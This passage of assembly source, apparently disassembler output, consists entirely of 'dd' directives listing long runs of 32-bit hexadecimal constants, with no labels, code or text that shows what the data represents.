7FF5AF9Bh, 6C39C6CCh, 0E5FDE7C5h dd 4E7369Ch, 0C72103BBh, 0DBFB84C5h, 0B25149B7h, 0DF8A1CFh dd 822153F0h, 2FDA7984h, 0F563506Ah, 0E1D21067h, 0CCEB2B61h dd 0D33CE3A7h, 0C8F4FACEh, 4EC0453Bh, 0D3DBF687h, 0FF3D297Fh dd 0C0A710F8h, 71981CA3h, 0C4EBB54Bh, 163F30BBh, 2FFB8433h dd 7F3BFCCCh, 4FF91810h, 0EEC664BDh, 0B5E97214h, 322CA46Fh dd 0E43590AFh, 0FDDF6738h, 7114FCDEh, 6804555Fh, 0BBEAAA9Bh dd 15420549h, 322897A9h, 14CCA4BFh, 9DA0091Fh, 9CE4707Ch dd 83D737A6h, 0EB84C6C1h, 64464A21h, 94FBC794h, 3DC1F4Ch dd 4AD00DABh, 44589494h, 545C8D2Eh, 648CD722h, 0B4A0B3E1h dd 22D0506Fh, 0E0F7BC35h, 4B9C1D3h, 0E9CE653Fh, 7C111084h dd 0C44A79EAh, 0C6BD2AB3h, 0BEE8AAE7h, 0DF256392h, 0C304B653h dd 0FDF5D974h, 0B184A6FDh, 0CA0D95E1h, 0FE637EDEh, 82929D81h dd 0A3D40269h, 9493AB22h, 0BC17C44Ch, 0C733C21Ch, 0DF2241BCh dd 32227C24h, 0FB15FDFFh, 626778E0h, 96A124B2h, 3E394915h dd 3707D3A8h, 2BCF7F39h, 0DABDB4B1h, 80FA4405h, 3FA1DFFh dd 0E7AC4838h, 682A3BB4h, 6E8828CFh, 37338F6Ch, 6FA117E4h dd 0C44886EBh, 0E64C46F9h, 35231679h, 0B56BA21h, 638118B9h dd 7ECDB4AEh, 728A6633h, 8B344720h, 1A9BF4AFh, 9C17ADBFh dd 1BEC7FB2h, 45C81AD1h, 0C1670C64h, 7C295965h, 3B300F12h dd 8204A28Ah, 9D2074C5h, 44CB0EA9h, 0C8AA2720h, 68465542h dd 0B742A936h, 8553CA0Fh, 25A85427h, 53EF0695h, 0E6F9F8DCh dd 0BE8C0D39h, 0D15CFEF7h, 6873A8B4h, 91F3CDC1h, 0B4756B0Ch dd 9D657402h, 0A3DB16EEh, 95A03FE2h, 768F18E9h, 25E931EDh dd 5DEB345h, 8921673Eh, 9F329AD8h, 4BE44A41h, 9CA71897h dd 47DD92C3h, 92DD9664h, 460FF55Bh, 7DB17D7Fh, 0D951014Eh dd 393158C8h, 0ADB44714h, 8C066521h, 73A0942Eh, 0FB62ACFFh dd 57E2FBB4h, 0B5B6B4ACh, 200707Eh, 0BDE373E7h, 38D13A7Dh dd 0F4A49667h, 0FC25FEBBh, 3526FD2Fh, 0E9310C92h, 0CC56AF2Dh dd 1657827Eh, 0F012CF33h, 0BD00F4C9h, 59E04D3Dh, 3B5DE109h dd 3F2494E7h, 0B5E75C1Eh, 0D8CFFCCDh, 0C490B3DBh, 7CE459BBh dd 0EF669383h, 0A5747010h, 77F68210h, 0EEA208FCh, 0C52A90D0h dd 0F53A7C3Fh, 48343725h, 35B5EC31h, 6AAEB194h, 0F73A91FCh dd 69774EA6h, 686D81CFh, 71B7312h, 88FACCEFh, 6CB374FCh dd 9F632379h, 932E5953h, 500B5631h, 0CB02D9F1h, 0E474CCB4h dd 68597786h, 0A134AF7Dh, 0C3BF1531h, 503FEA46h, 51F4B2C6h dd 2157BE87h, 0EAF50EE4h, 0D0A995DFh, 98D7BD86h, 2CE255E7h dd 7E9B4685h, 9D04C207h, 0A4B98AC7h, 3E9ECD79h, 9D31CB3h dd 86A0FEDAh, 21DC3CF7h, 0C0CF12BCh, 508CFBF5h, 0F74DB522h dd 229E232h, 12310CA9h, 0CAA531F3h, 39D2C7B4h, 0E1A5061Ah dd 149C64FAh, 0A706B982h, 0BF6CDD26h, 0CEF8754Ah, 0EC446861h dd 0CA31B96Fh, 0CC71CBFDh, 0B123CE4Fh, 0D70059Eh, 0FED17C51h dd 42232A8Ah, 5F37C22h, 0E7DB1BC4h, 0E19E5A79h, 8E0F6D23h dd 5A6606D8h, 0FCD46AF0h, 0A9D88DA1h, 0DF2E14A3h, 0A6C15519h dd 5277816Ch, 0C8BA9571h, 2B59C56Ch, 803458BDh, 8CD1DDDEh dd 7EFBF5F6h, 0F860875Fh, 0FEF0CB5h, 0B7088BA1h, 2CB650Dh dd 69FA47E0h, 81C8AAE5h, 4B372BB5h, 0B01B060Fh, 4039B6E0h dd 6B00040Dh, 83AF6EDFh, 0D4D60CA7h, 4B3CB740h, 0FB019067h dd 5EFFB3C8h, 8B2D6235h, 808133ACh, 775F74FAh, 394C638Ch dd 0AB04C0ECh, 2A194925h, 0F55979BEh, 0AD2A933Ah, 71FF7E36h dd 2CBC379Ah, 847AB383h, 764F011Ah, 0CCEBB239h, 0D2D65F4Ah dd 0F5C7939Eh, 9DF24D23h, 0BFF7C969h, 0CB7CF6A2h, 0BB8E09AEh dd 73BA6920h, 226D41FBh, 0DC563F39h, 2C69523Fh, 0F22D9569h dd 0F8EAA89Eh, 0D32CE59Ah, 0DCD7FA84h, 3F07B5FDh, 78CE2F18h dd 1E374F95h, 0D4D6344Eh, 160B9A51h, 43505B31h, 5338B3AAh dd 9F015932h, 0E7245A82h, 5263B33Fh, 9CFA853Eh, 0ACD4B596h dd 87322BAFh, 22346BACh, 0E0F4B766h, 0EECBCAE1h, 0EA2CC3B7h dd 2558200Ch, 76259FFCh, 80347862h, 47141013h, 0ACA562FCh dd 0B7ECEDDCh, 4B70D22h, 809BB520h, 45ECD0FBh, 0BC41427Dh dd 891C1CE1h, 0BF4A68Bh, 7BE8E99Bh, 0B577BD19h, 0F5ED9602h dd 0DF26D631h, 3ED0C884h, 87631129h, 0D46207C3h, 7DC4691Fh dd 7B2CFF59h, 662B91A7h, 0CFE4B845h, 0FDD23FD6h, 2F31453Ch dd 0EFD075E2h, 0E806DC6Ch, 93A09369h, 0CB8F03BEh, 742D96E3h dd 9CF67110h, 0B3929071h, 6C6253CBh, 9CD84F18h, 0EDA47903h dd 3CB690CEh, 0D7340405h, 220777BAh, 0FBFE45E3h, 748211Bh dd 6B3EF71Ch, 0C164C326h, 35B6BED8h, 0E34384DEh, 2A37F1C7h dd 750B4618h, 7505199Fh, 583E91E4h, 2B107961h, 782B6B1Ch dd 1AF7EA37h, 61AD1DEBh, 13BBF941h, 6A6C4EE7h, 0E22E6DE5h dd 0D2F5B1E3h, 65DE43B7h, 9C06BDA6h, 6B6C68CEh, 0F204544Bh dd 704CBB1Ch, 0C735DD03h, 42E487AAh, 3FD531F0h, 2D8F4D75h dd 30EF656Bh, 1134C7D4h, 0DE8AF555h, 7DEAA93Fh, 20E0AE38h dd 0DAF6F1A6h, 7D3C716Fh, 531DEE00h, 44B160E0h, 24CA082Eh dd 0BBAB9529h, 3BEF6687h, 0FDA8C4B2h, 0FBFF014Fh, 0D73F635Bh dd 0EC051C58h, 0B59665CDh, 0C5AE8A6Ch, 7F3C3CD9h, 1077FCFCh dd 0C32262E4h, 0B981852Dh, 6A507C80h, 620D6530h, 399ACC5Ch dd 0FB2C03DEh, 32BC24E0h, 0E544C5DDh, 62F43484h, 0A61FE576h dd 69787529h, 66467796h, 37CB8F68h, 78D51958h, 0C4CA902Eh dd 0D76099B6h, 0EBB65A1Bh, 64DCE4CCh, 0D466D0E2h, 60036827h dd 0A9352D5Ch, 74FAB763h, 6891FD0Eh, 0B7B98B4Ch, 1C71FCBCh dd 0D64B3F37h, 0FCA9C813h, 0D5F2916Bh, 0FFF4A21Ch, 3E668214h dd 0C7055305h, 1CE1951Ch, 5BE56A63h, 1E7B6618h, 41D39B3Ch dd 0FD0AD64h, 6CC2F464h, 7CA9930Bh, 825991F5h, 6579C69Ch dd 0FC739510h, 0BAFB93FEh, 953993AEh, 15119C2Eh, 131197C7h dd 769602CFh, 70C165CFh, 16848F7Bh, 0ADC4C8F8h, 2D9441D6h dd 3FC94919h, 27A6D15Fh, 14601F80h, 94F63EE6h, 5725C277h dd 6DC1FC06h, 0F0E15D9Ch, 1D5014FCh, 4950B864h, 749B3DABh dd 0AC67AB8Bh, 95E4D83Fh, 4951DB6h, 7D629184h, 0E14C6C87h dd 9CA35522h, 0FFE56904h, 0AD449D63h, 0CB3B9D60h, 3EEBFB88h dd 5D4CFB3Dh, 3D442908h, 0A469650Dh, 0EBE2FDEFh, 8E62C5CCh dd 0E0FADAE6h, 0C02450DDh, 22E0FE9Fh, 4B38494Ch, 0D8D059E2h dd 1C10A706h, 758E48B7h, 0DFA4B6Ch, 0D2A2C626h, 9CA482E6h dd 4D36422Dh, 0C72BF56Fh, 2CB49C99h, 0CAD44F7Eh, 847A792Fh dd 64AC857Bh, 0FCCCE430h, 0F438BCC1h, 0F6368AF0h, 7010013Ch dd 0A5DBE9FBh, 6F2BDAA2h, 0AAF21C7Dh, 2967541Ch, 0FAAA2885h dd 0F8FDB2DDh, 0E9C41D41h, 8102CC12h, 26798E40h, 2ADADDB1h dd 4A9731CBh, 0A95A52F0h, 784E600Fh, 644AB5C0h, 42F57E86h dd 0CD379E2Fh, 0D79E2D68h, 0DB0A6926h, 0A4F6EFF9h, 14954F6Eh dd 0EFE27F9h, 0A6020BFCh, 6E44AB6Fh, 0AEB8B213h, 156B1DE8h dd 10463941h, 2A45A22Bh, 22643F12h, 17067520h, 7258BAAh dd 1C9A782Dh, 4B545462h, 260EC3E1h, 9F2669E7h, 220926B9h dd 0FE6D87E0h, 9C489DCCh, 0A1CFBF50h, 17628089h, 4E29FE42h dd 90649B42h, 279E8475h dd 0DD9A474Ch, 4D0793E4h, 1C3045D2h, 746574E9h, 0DCBCBFDAh dd 470DE1F8h, 0A4F43D08h, 99FBB4F8h, 0A0E57BBCh, 0FB29E6BAh dd 0FA1E55A5h, 0FBC32Fh, 0B2837950h, 57054140h, 751C6132h dd 20E0A90Ch, 4FAAB763h, 628E1DE1h, 0CB6C1F3Ah, 0FD5B7C78h dd 4553BB0Eh, 3F0073FAh, 472009C6h, 1CF555ABh, 30D62F38h dd 1EC974AEh, 0B99ED4Ah, 1B2FFD55h, 0BE5030Ah, 4630DDD4h dd 0F96AB40Ch, 74C7EBAh, 0D3229C3Dh, 0B5B9EBCAh, 0EBDE9C80h dd 0F41881D5h, 56086BC9h, 253A1B3Ch, 0B32CBAC7h, 0C6E50C09h dd 60BA76C7h, 56774E2Eh, 1F902CEBh, 7B26BAD4h, 1DE63A26h dd 0EF4A4AAh, 42C9BA24h, 602DBED9h, 25561DF1h, 3807552Ah dd 0B3674D68h, 329DC57Dh, 0F5F3B5D4h, 0D665863Ch, 6EC97F84h dd 2E4BA60h, 2BECF83Eh, 605C6084h, 0E9AEC0B5h, 0B22645AEh dd 7DECB464h, 9DD021CCh, 0D73D6926h, 0CA205735h, 0DF0503FCh dd 0C621BD67h, 63096495h, 348FB167h, 9FB5CA1h, 0CBC90B98h dd 5CFB69D4h, 4DD61A2Ch, 4EE48CCCh, 4395A8BBh, 33B3552Dh dd 99B71284h, 9D7B0C94h, 8B2B8C8h, 0DF0327B0h, 0E03D2A84h dd 0CBC53939h, 3DF678CDh, 0BEA6AD57h, 0AEBDA0A7h, 670BF818h dd 0A71763Fh, 7EC07072h, 0CAF4B035h, 64EC3B08h, 0A57E12A5h dd 0D1BC78DBh, 16F9A738h, 0FC067B47h, 25F416A9h, 40CE41D5h dd 16F14BEEh, 0BF523F3Ch, 9971CAFAh, 0A780D531h, 0F334F57Dh dd 0BEA5720Ch, 7D8B5318h, 0C2C40879h, 0DCCC7868h, 0D5FA4193h dd 627FA72Dh, 0DB71F4F6h, 4EAEDAF8h, 9FFAE2FCh, 0B10CA2D8h dd 0B805AB29h, 0CFCEEE8Eh, 4A7385C0h, 0DA645A64h, 4F0CAEF4h dd 9F377E3Bh, 0E8C1A6D4h, 0B080B70Dh, 6D891904h, 0E9235EA0h dd 4F33E69Ch, 7EF93007h, 22886921h, 0A7B81E95h, 0FCC0D5CDh dd 0C5A63F5Dh, 0C6C6A5DAh, 99D3A7D0h, 167D0095h, 448A10FBh dd 35405DC4h, 0D2E2FCFFh, 0B73E3BAAh, 0DDFD5D04h, 1031755Bh dd 0F8567921h, 16F704CBh, 73320C6Ch, 811A3149h, 0EA444245h dd 7882AA5Eh, 64C5CDCFh, 9AA9A448h, 3238A97Fh, 7CBCBA66h dd 0F9F34722h, 498D3553h, 0D4DD97C1h, 0C47DBCB0h, 91DDF448h dd 24CD15F0h, 9CF2CFAFh, 0F9D7AC19h, 0C44A69DEh, 0B4C70FCh dd 3F77EAF7h, 23A2C88h, 4729EF26h, 0B4A57C2Eh, 0D9E8248Dh dd 0CAF6AB83h, 78A45E98h, 0F49DFF39h, 0C55C80A1h, 91886482h dd 60FAE8CCh, 74811AA5h, 0CD2A4A0Ah, 0D9AD255Bh, 0C2606C32h dd 0D7109DC4h, 5F05882Bh, 42B85C4Eh, 773E5F6Ah, 7D7A4EBBh dd 7F4807A0h, 0CD7F0734h, 0F5753AE0h, 18B58B67h, 70F78146h dd 94FB60A3h, 3475F392h, 3E1D8708h, 9F7E720h, 39C89F65h dd 766F8187h, 0F8E9557Dh, 10FEC284h, 8D614284h, 2CA8DE36h dd 508FEAF5h, 0A6B1873Bh, 0EF43230h, 9AA49DE6h, 4FFABC3h dd 6DA2ACBBh, 7549A1Ch, 0AAAE8C8h, 0B7F6DA58h, 0B2579D7Dh dd 9F389CEFh, 0C333A983h, 5CD7125h, 687AC5C4h, 1B5F5884h dd 0E23138B9h, 2DA12DA4h, 7AE1E054h, 0BC4C4261h, 11EBF70Ah dd 0D99AB2Fh, 7BC01FE1h, 722FB8B0h, 7608CDFCh, 440AB9D9h dd 52E61376h, 93847CCBh, 3B2EA95Ah, 0E13B7363h, 0DDC0502Ch dd 0EE9C756Eh, 0AB84FA31h, 5109D29h, 8BBC323Fh, 0B0A003B0h dd 0B421D114h, 0B0A8AFDFh, 0F09BE3F4h, 4581E03Ah, 57A1F82Ah dd 7C9FD1D2h, 25727Fh, 168D1DDEh, 5D345ACAh, 77D18137h dd 3265E8ADh, 0A3F9D66h, 0FD218733h, 673936A3h, 142F131Fh dd 2EC6350Ch, 0DFBC0D61h, 590B5404h, 70979B34h, 182557FFh dd 0A21B07Ah, 0BD2EBA63h, 1F2E7C20h, 21413C34h, 0C77ECFDBh dd 7C353C2Ah, 7638FC32h, 4A25347Eh, 12211D0Ch, 0D334660h dd 4F75BC94h, 0C7F8C89Fh, 0BD058114h, 0D32BAC0Dh, 9BDAF071h dd 544C650Ch, 0FA9F8536h, 832B145Bh, 546B6C6h, 9A858F5Eh dd 0E229514h, 3882E361h, 965801AAh, 3C77378h, 1F124B64h dd 0C493C04Eh, 0A0F98FCFh, 0A6D68D71h, 78CD8F89h, 3D324925h dd 0E60ECF36h, 5935262Ah, 3B04FF33h, 64C2EACFh, 0E194AB41h dd 43647547h, 0C5D8A5C5h, 8D0EA8BFh, 0F40BD15Ch, 0C4965597h dd 0C7C2705Fh, 994FC048h, 0F7378AA9h, 53A48088h, 1287568h dd 0CF69C7Fh, 0C74372F9h, 39C662F6h, 91977EEh, 2A88F7C2h dd 0B508A1A4h, 0F87AAFAh, 0C0C60021h, 0B76518A9h, 0C5A51821h dd 3355A14Dh, 0FE556F34h, 55457A34h, 19A07E0Dh, 0D4F28B0Dh dd 0D4EA73BEh, 0C2F3574Fh, 0A5F1686Bh, 229BACDh, 9AA0A57Dh dd 84BACA09h, 22FEC7A8h, 36C7AAA8h, 63FB65A8h, 15FCE3A8h dd 273CA6D4h, 0A3356A9Fh, 243C3A09h, 7B357A7Dh, 0E5DCA6AFh dd 0B560AC2Eh, 37345E0Ch, 84F30F3Ah, 721671C3h, 863E0EEh dd 353D52B7h, 5BCB01F1h, 21EAAC88h, 0C4C362A2h, 9A2CBD3Dh dd 0F0F5DDABh, 254F280Bh, 6833F329h, 0C6BCE2BDh, 0EAADABF8h dd 0AE530ACAh, 0ED003B90h, 0C733B0DEh, 172385A7h, 0D5F09DDAh dd 0E7DCA452h, 0E56800Fh, 979F7B3h, 74435A43h, 0BBF94E81h dd 0EAF56051h, 63A9BD6Fh, 0D3240C61h, 51613088h, 4B6C0188h dd 0A054772Bh, 0E75E401Dh, 23C92CA6h, 6BF4BB7Eh, 0EEC76E4h dd 0A7F58F45h, 76DA60E6h, 0FD2AA9A8h, 0FF0E6C23h, 0AFF3F090h dd 87BD0E17h, 5BF594C0h, 0C9A73AD6h, 0A0E3600Dh, 7DEC82A6h dd 0CC793CFFh, 13A6AA40h, 7477C55h, 99C40FECh, 137F0D2Ch dd 54CCAF65h, 61BBE8E4h, 84583CCCh, 0B036A73h, 346F300Ch dd 3E4C54EEh, 7D55593Fh, 3A825523h, 121318ACh, 37F4F83Eh dd 7734E501h, 0BA03CB3Dh, 4AF1B49Ah, 0EAB4E684h, 0C9DEB03Ah dd 0DF9E7B26h, 0FB27C289h, 0CB64B475h, 0E66E64E8h, 0B81D5A3Ah dd 5E05808Dh, 78207D39h, 5F6DDE7h, 5DB0DA41h, 27EB59C9h dd 0BBEAE270h, 0C45AF544h, 754486C0h, 0C2C6E480h, 1B20C461h dd 704C6093h, 0D888440Dh, 0F403E2ACh, 9CDAB8EFh, 44CCBA65h dd 0A52174ABh, 9CE00085h, 835EB8F7h, 0A598BAD8h, 5A5251ABh dd 0A8AD6A7Ah, 9CCA3D74h, 0F1EAAF3Fh, 3662F938h, 0F407C450h dd 26F8A184h, 0DDBE0E4Eh, 38E87354h, 6478B305h, 22440779h dd 152E28CCh, 624D3Ah, 0F3A7720Dh, 6834857Ch, 0A0C9C1F1h dd 50CC07E9h, 0CDB890C6h, 2A4D7D2Dh, 0BA7718E8h, 0C53DAB0Fh dd 1933A80Ah, 8333524Ch, 20AD5DE7h, 0B0C25D24h, 9D3A7219h dd 734EACCh, 0CF9F3439h, 0A6070E7Ah, 4B00723h, 18BFFFE5h dd 0C3B14677h, 0E80E8904h, 0B204537Ah, 0B64D5320h, 28EE819Bh dd 9528D23Eh, 7E53639h, 0AE580DFCh, 0E33AA9BEh, 9208D236h dd 344C53DCh, 0AAA5E347h, 0FC8FEAEFh, 352EFD28h, 0EEFA7F5Dh dd 4D34B44h, 701876F8h, 0AF236DCCh, 0FB4F860Dh, 1D290D53h dd 39F75E64h, 0A30BB650h, 90E6FC5Eh, 33EDFB59h, 7A6A9308h dd 0A698B6F4h, 27F423CFh, 0FCA175F7h, 22F85A04h, 0C1F73D7Ah dd 3F346742h, 9DD2B73Ah, 0FAC1E8CEh, 0D8AD1B6Ch, 82F6BEADh dd 0D79AAD36h, 69EF0B69h, 4F34BB2Fh, 1AB0F068h, 0CBE47479h dd 0B7C6193Eh, 6F18DC21h, 0A0DC6528h, 84CE072Ch, 1C970DA0h dd 53067F3Ch, 8D5AFE22h, 71B820FBh, 39186FCBh, 999A3F39h dd 0D12EC1FCh, 0C771DEEh, 7839ADA7h, 6DA102F7h, 0D8071D34h dd 6CC54773h, 81B40104h, 2EEA984h, 552B58C8h, 8B809AFBh dd 85C84109h, 5F03BA80h, 0CC85E1B8h, 4A735921h, 0BA18BEBEh dd 1E4B83A8h, 5CE7680h, 4B7DFEAh, 681EDA9Bh, 38A71F42h dd 0ACB80DACh, 0D6F179BDh dd 77FAE7ADh, 6ECFDE0h, 3B50DDFCh, 4F8BFFC7h, 69BA1C61h dd 0DB1C5277h, 3B74EC8Dh, 0B3F3526Bh, 0D82BE9C7h, 927F0D69h dd 4D1BDC6h, 0A6F24D2Eh, 2F0E30A8h, 0B8F4E60Dh, 94A2B226h dd 5DA075B1h, 0CB99B9A2h, 9018332Ch, 6AAF0713h, 0C677B881h dd 0C27F12FAh, 0D889CCF0h, 0FE90A6C9h, 0EF6F2E8h, 0DC8FD999h dd 9E855938h, 0ACDBA13Eh, 7DF151A1h, 3CB773C7h, 27747C24h dd 0C157B0C5h, 0CA3A2C45h, 0EC69C600h, 0FBBD4DE3h, 0D6359EA4h dd 0D980B967h, 69CCF154h, 9D37B5E9h, 390DFC3Fh, 0F5E53EC4h dd 0AD45F9FDh, 0CB5B6C34h, 960F77B4h, 0F3FA051Ch, 0DD766D1Eh dd 0D2BC8BECh, 0AEE8BF71h, 0ED2DBBF6h, 9891763Eh, 0DCE60868h dd 141DE9h, 0F0A85275h, 0C8F63F9Ch, 815DE591h, 0CA849D67h dd 3F23C409h, 2EF511C5h, 4F83CEEh, 0E956CCBBh, 0E2E7F620h dd 3C05B5D2h, 34F6B957h, 0B7EE6E08h, 1009080Bh, 4207CFA2h dd 52C4441Bh, 6E7A7CD1h, 0D638B6E5h, 25817142h, 8F8CD1F8h dd 0A1C3BFh, 7CCC76CDh, 28806D0h, 62D66224h, 1AAE1FA8h dd 0A4F507B2h, 0B7A6844Bh, 19DBC5DEh, 0C288FD0Fh, 0F5EB3937h dd 0BC413292h, 9F2C7E22h, 0AB48BFF7h, 10F0F55Ah, 0F13ED0AFh dd 0A4FF4F25h, 7FA7AD1Ch, 2AD8B81h, 0CFD4746Dh, 5F1D029Fh dd 0B6EB43FEh, 0DF058AA1h, 81E9A767h, 2074D44h, 29E3808Eh dd 89E48BC5h, 0A4BEE2F9h, 0B42699FCh, 3D741D3Ah, 0E290C07Eh dd 0A88E74C8h, 3FE72E87h, 0B80AD820h, 0EAF7F7D5h, 6C37493h dd 22E27E17h, 4C352ED9h, 50F1FCC4h, 70F859C0h, 86B1DF9h dd 2EC23D61h, 5DC9C1F9h, 3EB172C8h, 7321A1ADh, 4525BA2Dh dd 7FA8B96Ch, 0BC7F5D3h, 0C22F283Dh, 783FE964h, 0A2E2DC84h dd 70C64EBDh, 0E00B7E9h, 3A5F3A07h, 9342A5D6h, 0C41AD822h dd 12ABB806h, 964C7AA8h, 0AB6D71B2h, 27E7A883h, 0BD613F05h dd 3D79E72h, 0E98FB3C6h, 51D3B4C8h, 5181AFCh, 127C9D6Ch dd 44BCD8C6h, 1A21F2A6h, 719D4285h, 0F2B3A87Fh, 9F2EA729h dd 2F0B52E4h, 2FD0F714h, 4FB8727h, 0AF57E49h, 0EF4CB54Ch dd 40ADFC9Fh, 9F208D0Dh, 0B8BB4935h, 0A2E43A1h, 3CCAA757h dd 9DE5C65Fh, 452E4008h, 1E599189h, 3D275855h, 0F290B3AAh dd 0C463BFEh, 0B86F330Eh, 0D75D6272h, 4BABCB20h, 0BA1F019Ah dd 6E16641Bh, 9D09005h, 232DC99Eh, 0DEDC184h, 0BC40CA6Ah dd 0C381B336h, 0B6C7474Dh, 7CF5BB79h, 11A8B6DDh, 670EA731h dd 0F594727Eh, 6CFB5932h, 0B4880736h, 0A2B5D152h, 0B00A818Ah dd 62E5DC6Ch, 7B33431Dh, 4B43CFF7h, 0D534AAC6h, 66B4C3C2h dd 16B3B713h, 0CEC6B0FCh, 0CAA4D268h, 0F4AF1BC2h, 0CC3546CFh dd 63F7A38Dh, 8336C652h, 0F5B41B29h, 8E857Ch, 0F9EC7571h dd 34C77C21h, 0D4369B35h, 302F0004h, 0B663B2B4h, 263B19CAh dd 11CF8738h, 53DBBBE1h, 2C2CBD1Eh, 0BD003713h, 0E5886142h dd 0FB96A0DBh, 0EED391E6h, 0D153CD79h, 0BDD8850Ch, 0E6525BD0h dd 111969DEh, 0CCF56E22h, 0FFA9B84Fh, 0B23C417h, 0A4C70F0Eh dd 41D6368h, 70D3F7E8h, 6F1E4760h, 0B668F948h, 0AFF1BC04h dd 0CFAD413Ch, 5B3BB83Ch, 0C82C988Ch, 0A6084139h, 12347B88h dd 69D65D3Fh, 25D2FC22h, 386BF917h, 1F81B73Ch, 0C8B4CA4Fh dd 0B9C7887h, 0F05EB42h, 2278FDE9h, 4F266754h, 23BB8634h dd 0C8BB8D0Eh, 60A0A918h, 0DC08AFE9h, 438CA9FDh, 9AFD4021h dd 0F03482D9h, 4689F1D4h, 0B9AFAAF9h, 0F914F94Fh, 0BBFA3A24h dd 0E5749E99h, 420F813Ch, 7D48372Ch, 6920DA4Dh, 1E2FDA00h dd 9C550484h, 89ED66CBh, 34D4ADFAh, 3E1B6768h, 66B19D7Ch dd 0B77991C2h, 0C2AD57B9h, 9C706467h, 990B440Eh, 4C2152B6h dd 10F04778h, 3CEC5CC2h, 0EE0507A8h, 0DFAC5E2Ah, 49D0FB25h dd 3EE1816Ah, 0D9AB43F3h, 0CD3B94E9h, 4C64EFCEh, 8B3BD78h dd 0FAE4AD23h, 4794A568h, 4D1B363h, 107B72Ah, 56E5332Eh dd 92B43560h, 0DEA149A7h, 0FBE34923h, 75CD4168h, 0CF87C3D8h dd 0FB0E0945h, 0BF3B7526h, 7DE4E360h, 1EF8AAD8h, 894D838h dd 0FB068574h, 68C87EFh, 0EB748745h, 0BC854415h, 0A488410Ch dd 0EFD481CCh, 729FE6Ch, 756D7AA8h, 12057B87h, 427F7BE4h dd 0F6267D4Fh, 0D3708CBCh, 0DAEDC549h, 6C93C2C4h, 4E1C6E4h dd 0F94F18D9h, 0B40C7C6Ah, 0BB320AF8h, 79B43D3Fh, 81B8FE39h dd 280E4432h, 96B59AB8h, 68BC8ADh, 8D812C76h, 4578DDFCh dd 0DDF551F9h, 0E4A97B27h, 0A30F926Fh, 0D0CCB5E2h, 0B1F70BE9h dd 0C0C6F8BEh, 4B029144h, 404FC2Ch, 0F84F6438h, 0C2E7FC86h dd 69C4633Ch, 588540EFh, 7AB8F949h, 0DF616E7Ch, 8D7C81C0h dd 2AC43769h, 2914C8C7h, 0D510D533h, 507404E8h, 0E6B531E7h dd 0D3078578h, 96586DFEh, 5ACB863Bh, 654FF783h, 423C3E4Ah dd 0C6F50DFBh, 0E8BA44BFh, 0F08577AAh, 62EB4DE1h, 860D9DDDh dd 0C7AD90EFh, 0D714CD0Ah, 0F5A4DCC1h, 4520AD98h, 0BF1CBFD4h dd 0FFBBB6A0h, 7E4A3C7h, 1619FEE0h, 15D9D784h, 83055F2Bh dd 8BB6AE18h, 0E9B31EF0h, 323CA939h, 0D1729431h, 4FEFCAB4h dd 0E3F031EDh, 17A4B796h, 3426DBB7h, 0CF4453Dh, 707D6C2Eh dd 426B16Bh, 22F6D17Fh, 0A2DDBC1Ah, 800CFD2Fh, 96CFA727h dd 0D8CFA87Ch, 7083D3Ch, 0BADF5DBh, 0B57EA101h, 721BBE2Dh dd 38ADD895h, 0A0EECC34h, 1E66A782h, 89978B25h, 3A79A8B4h dd 137567BEh, 41CA44A5h, 4B282001h, 3A0BCE6Fh, 7F08C72Bh dd 0D94C6D70h, 0CC0E81B9h, 0CAD09DFEh, 0C77D221Bh, 0BD52839Ch dd 54CD0124h, 27FC9D2Ah, 9573784Fh, 5A2C44D4h, 44F453A0h dd 0BC6C61F1h, 0BB1670A8h, 766CC9F1h, 0CB68AD4Fh, 0A2190A9h dd 0C9E03D20h, 63D1D161h, 2A3A45FAh, 1FE8D12Eh, 3F8E7C0h dd 0CDE48D92h, 7AC5D24Ch, 0C4C1373Ch, 0FC0070D3h, 0F7404573h dd 0BDB60C53h, 900C7FEDh, 0FB0B44F9h, 0F1AB77E2h, 13366A9h dd 205E4657h, 0FAADE10Eh, 54E5CB1Ch, 0B7E4232Dh, 0C0B60F39h dd 0F629E1CFh, 62F63D1h, 6E5871C5h, 9F737D2Bh, 0AF1CB8C0h dd 0D274D381h, 948C460Dh, 0FA170758h, 180FF84h, 0A5075B77h dd 0D8290DA1h, 35BE0349h, 534550Ch, 0B7E76184h, 27CC9ABFh dd 34F1F1C4h, 0CB3C3F27h, 0B88F307h, 26440FADh, 1AB1E518h dd 3A739DE3h, 0F82CF050h, 38E51084h, 0D0075BE8h, 0CBE057A6h dd 0F2C8FF9Dh, 0F5352777h, 0C4E9D366h, 0B88C1DEAh, 0C40F4B55h dd 0E7904EBCh, 7830E3BEh, 8C5B7571h, 36A57B9Dh, 0FE2CB931h dd 63C0A984h, 5EA067C2h, 0EE03245Eh, 80E4B0F5h, 98AF7372h dd 7A07167Eh, 36F89FD7h, 0C906BDD7h, 5C59E17Bh, 22289D2Eh dd 7001CF85h, 0C896C540h, 63B8AA74h, 50ADE9FEh, 27023C03h dd 7606AF1Ch, 0C3116FD2h, 0C7464487h, 7414B527h, 31615E24h dd 6A24A444h, 87019DCBh, 380594E5h, 71C5768h, 85EE1DFCh dd 6B275503h, 1F37E4BCh, 75FA37CAh, 80AA4C74h, 20C88686h dd 540BF93Bh, 1E0A80F4h, 5A629A23h, 2D51DF1h, 4A34C12h dd 0B676DCC4h, 94C52F77h, 0D394E838h, 0A29CD999h, 0F38220B0h dd 8DD5534h, 62CAB43Ch, 0A0C8393h, 8DF602E7h, 9FD8694Dh dd 6B368005h, 8088A3FEh, 0F1F6C55h, 2DE22FFAh, 0BE1934DFh dd 53CC7427h, 41D5468h, 1605A54Fh, 4FFAC666h, 0CAA6907Ah dd 0EE4523Bh, 26580465h, 0B5A5CC4Ch, 9E9E9DE1h, 0A4A10439h dd 949DC6EFh, 79E68A50h, 0D4E4D94Bh, 1FF2B8EAh, 6D5D936h dd 8ED8CD1h, 2827EDFCh dd 0EE0D4E3Fh, 863619C2h, 3CEB7AEEh, 3F22F6FDh, 0C48A16D2h dd 7D5B4BECh, 0AD495FC4h, 4F22D9FEh, 30E21394h, 45B93C71h dd 49F46EABh, 50BBF7B4h, 20349C4Dh, 0D2634733h, 231443DAh dd 606B52EFh, 0FE8707E8h, 8AEF3D24h, 48F600A4h, 792BAC9Dh dd 5B20A1DDh, 9288B25Dh, 26513967h, 95E8E8CFh, 2AB1E0B6h dd 848FB53Dh, 5EA3ACC7h, 3D5C4314h, 0D83D4C33h, 2408B0E3h dd 3292BBF8h, 8372B345h, 0B90AB367h, 4DED02E7h, 3C69B9E2h dd 8AADA5Ch, 5A2806Fh, 0CC62B738h, 0E24C73E9h, 85B419D3h dd 0E504D63Fh, 